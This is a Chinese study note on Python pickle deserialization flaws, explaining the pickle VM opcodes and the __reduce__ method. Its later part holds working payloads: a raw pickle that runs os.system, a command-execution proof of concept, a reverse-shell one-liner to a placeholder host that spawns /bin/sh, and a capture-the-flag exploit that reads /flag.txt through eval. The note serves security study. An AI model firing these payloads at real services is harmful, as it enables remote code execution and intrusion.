Python Pickle反序列化漏洞学习笔记

只是简单的学习笔记

参考链接

一篇文章带你理解漏洞之 Python 反序列化漏洞
pickle反序列化初探
这两篇文章写得已经非常清晰了,如果要学建议看上面的🤓

光速QA

Q:pickle是什么?

A:pickle是python下的序列化与反序列化包。

Q:pickle如何进行序列化与反序列化?

A:通过四个函数

# 序列化
pickle.dump(文件) 
pickle.dumps(字符串)

# 反序列化
pickle.load(文件)
pickle.loads(字符串) 

Q:举个例子

A:

import pickle
class People(object):
    def __init__(self,name = "skkyblu3"):
        self.name = name

    def say(self):
        print "Hello ! My friends"

a = People()
c = pickle.dumps(a)
d = pickle.loads(c)
d.say()

Q:一个对象被序列化后是什么样的?

A:上面People类序列化之后为

ccopy_reg
_reconstructor
p0
(c__main__
People
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'name'
p6
S'skkyblu3'
p7
sb.

Q:这串内容是如何被解析的?

A:pickle解析依靠Pickle Virtual Machine (PVM)进行。

  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存
  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

PVM操作码(直接盗图)



考虑下面的内容,这个在反序列化的时候会执行os.system('ls')

import pickle
data = """cos
system
(S'ls'
tR.
"""
pickle.loads(data)

结合我们上面讲述的 PVM 的操作码看这个文件中的字符串是怎么一步一步执行的:

  1. c 后面是模块名,换行后是类名,于是将 os.system 放入栈中
  2. ( 这个是标记符,我们将一个 Mark 放入栈中
  3. S 后面是字符串,我们放入栈中
  4. t 将栈中 Mark 之前的内容取出来转化成元祖,再存入栈中 ('ls',),同时标记 Mark 消失
  5. R 将元祖取出,并将 callable 取出,然后将元祖作为 callable 的参数,并执行,对应这里就是 os.system('ls'),然后将结果再存入栈中

用动图来帮助理解一下(这个好诶!):

PVM解析R指令的过程动图:

Q:反序列化的原理大概清楚了,可是要怎么利用捏?

A:和PHP一样,我们想在反序化的时候执行我们的代码。这就需要__reduce__这个魔术方法,这个方法是新式类(内置类)特有的。

新式类(内置类)和旧式类(自建类)的区别在于有没有继承自object,如果一个类继承自object,那么它就是新式类。不过这个特性是Python2才有的,Python3开始,所有的类都被视为新式类,无论是否明确地继承自object

# 旧式类
>>> class A():
...     pass
...
>>> a = A()
>>> type(a)
<type 'instance'>

# 新式类
>>> class B(object):
...     pass
...
>>> b = B()
>>> type(b)
<class '__main__.B'>

为了使用__reduce__我们的类需要继承自object

那么__reduce__是什么呢?

当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化

我们知道在PHP反序列化的时候,反序列化的类在代码中一定是声明过的。但在Python中,如果反序列化的类中有__reduce__,那么即使环境中没有声明,它也可以按照__reduce__中的方法进行反序列化,这样攻击面可以说是相当大了。下面通过一段代码来感受__reduce__的神奇:

import pickle

class A(object):
    pass

class B(object):
    def __reduce__(self):
        return (str, ())

a = A()
b = B()

a_s = pickle.dumps(a)
b_s = pickle.dumps(b)

# 在环境中删除这两个类
del A
del B

try:
    # 对于不存在的类反序列失败
    pickle.loads(a_s)       
    print 'A is load'
except Exception as e:
    print e
try:
    # 实现了__reduce__的类,即使环境中没有定义,也能按照__reduce__中的方法反序列化
    pickle.loads(b_s)       
    print 'B is load'
except Exception as e:
    print e

那么__reduce__方法如何构造呢?__reduce__可以返回两种类型的值,String 和 tuple ,我们的构造点就在令其返回 tuple 的时候。当他返回值是一个元祖的时候,可以提供2到5个参数,我们重点利用的是前两个,第一个参数是一个callable object(可调用的对象),第二个参数可以是一个元祖为这个可调用对象提供必要的参数。

一个pickle EXP的简单demo

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = "echo skkyblu3"             # 要执行的命令
        return (os.system, (s,))         # 返回元组

e = genpoc()
poc = pickle.dumps(e)
print(poc)      # 反序列字符串

记一个反弹shell的demo,用到的是python -c

class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,)) 

所以上周那道ikun就是用了eval来读取flag的内容,还是比较简单的

import os
import pickle
import urllib

class exp(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt').read()",))

a=exp()
s=pickle.dumps(a)
print urllib.quote(s)

Q:还有内容吗?

A:剩下的内容主要有三个

  • 序列化更复杂的代码去执行
  • 手写 opcode
  • pker的使用,用于将Python源代码自动转换为Pickle opcode的工具

Q:为什么不写了?

A:今天不想看了,之后再说吧🥱